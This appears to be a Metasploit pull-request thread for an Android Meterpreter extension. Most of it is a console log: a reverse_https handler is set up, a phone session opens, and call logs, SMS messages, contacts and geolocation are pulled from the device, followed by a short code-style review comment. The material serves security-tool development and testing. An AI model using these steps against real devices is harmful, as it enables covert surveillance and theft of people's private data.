Android meterpreter extension

```
msf > use exploit/multi/handler 
msf exploit(handler) > set PAYLOAD android/meterpreter/reverse_https
PAYLOAD => android/meterpreter/reverse_https
msf exploit(handler) > set LHOST 10.0.0.1
LHOST => 10.0.0.1
msf exploit(handler) > set LPORT 2222
LPORT => 2222
msf exploit(handler) > exploit 

[*] Started HTTPS reverse handler on https://0.0.0.0:2222/
[*] Starting the payload handler...
[*] 10.0.0.101:43620 Request received for /TAvM_4CurVL8LMrbIqy3V...
[*] Meterpreter session 1 opened (10.0.0.1:2222 -> 10.0.0.101:43620) at 2014-02-26 03:56:50 +0200

meterpreter > sysinfo 
Computer    : localhost
OS          : Android 4.1.1 - Linux 3.0.31-302285 (armv7l)
Meterpreter : java/android
meterpreter > help

Android Commands
================

    Command          Description
    -------          -----------
    check_root       Check if device is rooted
    device_shutdown  Shutdown device
    dump_calllog     Get call log
    dump_contacts    Get contacts list
    dump_sms         Get sms messages
    geolocate        Get current lat-long using geolocation


meterpreter > check_root 
[*] Device is rooted
meterpreter > dump_calllog
[] Fetching 164 entries
[] Call log saved to: E:/metasploit/metasploit-framework/dump_calllog_rjOUMFHN.txt

meterpreter > dump_sms
[] Fetching 896 sms messages
[] Sms messages saved to: E:/metasploit/metasploit-framework/sms_dump_JQmaoINw.txt

meterpreter > dump_contacts
[] Fetching 618 contacts into list
[] Contacts list saved to: E:/metasploit/metasploit-framework/contacts_dump_GidUbOsl.txt

meterpreter > geolocate
[*] Current Location:

Latitude  : 31.2186009
Longitude : 29.9448264
meterpreter > exit
```
I will say then end; end; end; end thing is used in many places in the framework currently

On Jul 8, 2014, at 12:26 AM, Jon Hart <notifications@github.com> wrote:

> In lib/rex/post/meterpreter/extensions/android/android.rb:
> 
> > +      }
> > +
> > +    }
> > +    return log
> > +  end
> > +
> > +  def check_root
> > +    request = Packet.create_request('check_root')
> > +    response = client.send_request(request)
> > +    is_rooted = response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value
> > +    return is_rooted
> > +  end
> > +  
> > +end
> > +
> > +end; end; end; end; end
> Be consistent in your style. Put each end on its own line as you do elsewhere
> 
> —
> Reply to this email directly or view it on GitHub.
>